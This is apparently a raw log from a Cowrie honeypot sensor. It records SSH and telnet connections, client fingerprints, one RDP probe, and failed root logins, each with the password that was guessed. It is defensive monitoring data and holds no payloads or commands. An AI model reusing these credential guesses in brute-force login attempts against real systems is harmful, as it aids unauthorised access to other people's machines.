{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:07.895888Z","src_ip":"49.51.241.230","session":"96d1cd2a1454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:08.201559Z","src_ip":"49.51.241.230","session":"96d1cd2a1454","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":49844,"dst_ip":"159.203.135.109","dst_port":22,"session":"24d3f294993f","protocol":"ssh","message":"New connection: 77.105.130.18:49844 (159.203.135.109:22) [session: 24d3f294993f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:09.170903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:09.176535Z","src_ip":"77.105.130.18","session":"24d3f294993f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:09.273524Z","src_ip":"49.51.241.230","session":"96d1cd2a1454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:09.279343Z","src_ip":"77.105.130.18","session":"24d3f294993f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:09.707080Z","src_ip":"77.105.130.18","session":"24d3f294993f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":36578,"dst_ip":"159.203.135.109","dst_port":22,"session":"60759f3c75e0","protocol":"ssh","message":"New connection: 43.135.176.251:36578 (159.203.135.109:22) [session: 60759f3c75e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.231533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.236576Z","src_ip":"43.135.176.251","session":"60759f3c75e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.307505Z","src_ip":"43.135.176.251","session":"60759f3c75e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.616551Z","src_ip":"43.135.176.251","session":"60759f3c75e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.963393211364746,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.677226Z","src_ip":"192.119.13.58","session":"21f70a4689b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:10.819215Z","src_ip":"77.105.130.18","session":"24d3f294993f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:11.690114Z","src_ip":"43.135.176.251","session":"60759f3c75e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.49743986129761,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:15.010675Z","src_ip":"192.119.13.58","session":"ec611cddbd9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40028,"dst_ip":"10.17.0.5","dst_port":23,"session":"492a846c66a7","protocol":"telnet","message":"New connection: 192.119.13.58:40028 (10.17.0.5:23) [session: 492a846c66a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:15.120543Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff49833a18a","protocol":"telnet","message":"New connection: 192.119.13.58:54332 (10.17.0.5:23) [session: 6ff49833a18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:18.793819Z"}
{"eventid":"cowrie.session.closed","duration":38.85844540596008,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:25.165379Z","src_ip":"192.119.13.58","session":"ad6d8d0f8fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.30320882797241,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:26.939294Z","src_ip":"192.119.13.58","session":"8b3c20da77c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.54535102844238,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:27.412690Z","src_ip":"192.119.13.58","session":"4cba8eb6837f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"e25dc96f45d2","protocol":"telnet","message":"New connection: 192.119.13.58:33874 (10.17.0.5:23) [session: e25dc96f45d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:27.851022Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":27430,"dst_ip":"159.203.135.109","dst_port":22,"session":"130cfb1cd367","protocol":"ssh","message":"New connection: 165.154.23.26:27430 (159.203.135.109:22) [session: 130cfb1cd367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:28.898066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:28.905252Z","src_ip":"165.154.23.26","session":"130cfb1cd367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:29.123252Z","src_ip":"165.154.23.26","session":"130cfb1cd367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flyers","message":"login attempt [root/flyers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:30.019639Z","src_ip":"165.154.23.26","session":"130cfb1cd367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.58916521072388,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:30.159412Z","src_ip":"192.119.13.58","session":"b5a8d4201e4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45388,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce194c24311","protocol":"telnet","message":"New connection: 192.119.13.58:45388 (10.17.0.5:23) [session: 0ce194c24311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:30.722576Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:31.241692Z","src_ip":"165.154.23.26","session":"130cfb1cd367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":57230,"dst_ip":"10.17.0.5","dst_port":22,"session":"51ce86918625","protocol":"ssh","message":"New connection: 35.225.56.202:57230 (10.17.0.5:22) [session: 51ce86918625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:31.667737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:31.672641Z","src_ip":"35.225.56.202","session":"51ce86918625","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:31.708678Z","src_ip":"35.225.56.202","session":"51ce86918625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backup01","message":"login attempt [root/backup01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:31.885206Z","src_ip":"35.225.56.202","session":"51ce86918625","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":52082,"dst_ip":"159.203.135.109","dst_port":22,"session":"071c4932d00a","protocol":"ssh","message":"New connection: 207.56.225.202:52082 (159.203.135.109:22) [session: 071c4932d00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:32.491813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:32.497494Z","src_ip":"207.56.225.202","session":"071c4932d00a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:32.663666Z","src_ip":"207.56.225.202","session":"071c4932d00a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:32.923544Z","src_ip":"35.225.56.202","session":"51ce86918625","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig2022","message":"login attempt [root/K0nig2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:33.371183Z","src_ip":"207.56.225.202","session":"071c4932d00a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:34.549887Z","src_ip":"207.56.225.202","session":"071c4932d00a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":47496,"dst_ip":"10.17.0.5","dst_port":22,"session":"470e23e43617","protocol":"ssh","message":"New connection: 193.233.48.169:47496 (10.17.0.5:22) [session: 470e23e43617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:34.637589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:34.643277Z","src_ip":"193.233.48.169","session":"470e23e43617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:34.771749Z","src_ip":"193.233.48.169","session":"470e23e43617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35048,"dst_ip":"10.17.0.5","dst_port":23,"session":"02497c4949da","protocol":"telnet","message":"New connection: 192.119.13.58:35048 (10.17.0.5:23) [session: 02497c4949da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:35.148784Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49814,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b88b7b6a333","protocol":"ssh","message":"New connection: 152.42.212.128:49814 (10.17.0.5:22) [session: 4b88b7b6a333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:35.219299Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:35.226092Z","src_ip":"152.42.212.128","session":"4b88b7b6a333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:35.230524Z","src_ip":"152.42.212.128","session":"4b88b7b6a333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:35.296023Z","src_ip":"193.233.48.169","session":"470e23e43617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:36.423045Z","src_ip":"193.233.48.169","session":"470e23e43617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":54852,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bb26a29957f","protocol":"ssh","message":"New connection: 92.207.4.157:54852 (159.203.135.109:22) [session: 8bb26a29957f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:41.863843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:58:41.869144Z","src_ip":"92.207.4.157","session":"8bb26a29957f","protocol":"ssh"}
